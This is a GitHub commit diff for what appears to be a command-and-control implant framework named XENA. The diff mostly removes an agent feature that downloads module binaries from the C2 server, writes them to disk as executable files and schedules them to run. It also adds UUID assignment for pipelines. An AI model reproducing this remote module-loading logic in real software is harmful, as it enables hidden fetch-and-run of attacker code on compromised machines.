Skip to content

Commit 3ddde46

Browse files
committed
Merge branch 'production' of https://github.com/zarkones/XENA into production
2 parents 2b01542 + bd3790e commit 3ddde46

17 files changed

+6
-720
lines changed

Diff for: agent/file-browser.go

-38
This file was deleted.

Diff for: agent/interpreter/non-modular.go renamed to agent/interpreter/interpreter.go

-38
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,3 @@
1-
//go:build !xena_modular
2-
// +build !xena_modular
3-
41
package interpreter
52

63
import (
@@ -15,9 +12,7 @@ import (
1512
"fmt"
1613
"offsec"
1714
"os"
18-
"path/filepath"
1915
"runtime"
20-
stdSlices "slices"
2116
"strings"
2217

2318
"github.com/shirou/gopsutil/v3/cpu"
@@ -88,39 +83,6 @@ func Interpret(input string) (output string) {
8883
return string(jsonFbCtx)
8984
}
9085

91-
// Handling modules. (dynamically linked libraries)
92-
moduleCmd := "/get-module:"
93-
if strings.HasPrefix(input, moduleCmd) {
94-
input := strings.TrimPrefix(input, moduleCmd)
95-
args := strings.Split(input, ";")
96-
if len(args) != 2 {
97-
return "Command syntax error: unrecognized arguments '" + input + "' for command '" + moduleCmd + "'"
98-
}
99-
executionMode := strings.ToUpper(args[0])
100-
moduleName := strings.ToUpper(args[1])
101-
if runtime.GOOS != "windows" && strings.HasSuffix(moduleName, ".DLL") {
102-
return "Cannot load .dll on " + runtime.GOOS
103-
}
104-
moduleBin, err := c2api.AgentDownloadModule(config.AgentID, moduleName, config.PrivateKey)
105-
if err != nil {
106-
return "Failed to download the module: " + err.Error()
107-
}
108-
if !stdSlices.Contains([]string{"ON_START", "ON_TICK", "ON_MSG"}, executionMode) {
109-
return "Unknown module execution mode '" + executionMode + "'"
110-
}
111-
modulePath := filepath.Join(MODULE_DIR, hashWithAgentID(moduleName))
112-
os.MkdirAll(MODULE_DIR, 0777)
113-
if err := os.WriteFile(
114-
modulePath,
115-
[]byte(moduleBin),
116-
0777,
117-
); err != nil {
118-
return "Failed to write module to file system: " + err.Error()
119-
}
120-
debug.Println("module '" + moduleName + "' under mode '" + executionMode + "' has been saved at '" + modulePath + "'")
121-
return "Module successfully saved"
122-
}
123-
12486
// Navigating File Browser.
12587
cdCmd := "/cd:"
12688
if strings.HasPrefix(input, cdCmd) {

Diff for: agent/interpreter/modular.go

-206
This file was deleted.

Diff for: agent/interpreter/modules.go

-59
This file was deleted.

Diff for: agent/main.go

-9
Original file line numberDiff line numberDiff line change
@@ -161,14 +161,5 @@ func initialize() (err error) {
161161
return err
162162
}
163163

164-
if interpreter.LoadModules(); err != nil {
165-
debug.Println("loading of modules failed:", err)
166-
} else {
167-
debug.Println("modules loaded:",
168-
len(interpreter.Modules[interpreter.MOD_ON_START])+
169-
len(interpreter.Modules[interpreter.MOD_ON_TICK])+
170-
len(interpreter.Modules[interpreter.MOD_ON_MSG]))
171-
}
172-
173164
return nil
174165
}

Diff for: c2/repos/pipelines/db.go

+5
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@ package pipelinesRepo
33
import (
44
"c2/db"
55
"c2/models"
6+
7+
"github.com/google/uuid"
68
)
79

810
func Get(pipelineID string) (pipeline models.Pipeline, err error) {
@@ -18,6 +20,9 @@ func GetMultiple() (pipelines []models.Pipeline, err error) {
1820
}
1921

2022
func Upsert(pipeline *models.Pipeline) (err error) {
23+
if len(pipeline.ID) == 0 {
24+
pipeline.ID = uuid.NewString()
25+
}
2126
return db.ORM.Save(&pipeline).Error
2227
}
2328

0 commit comments

Comments
 (0)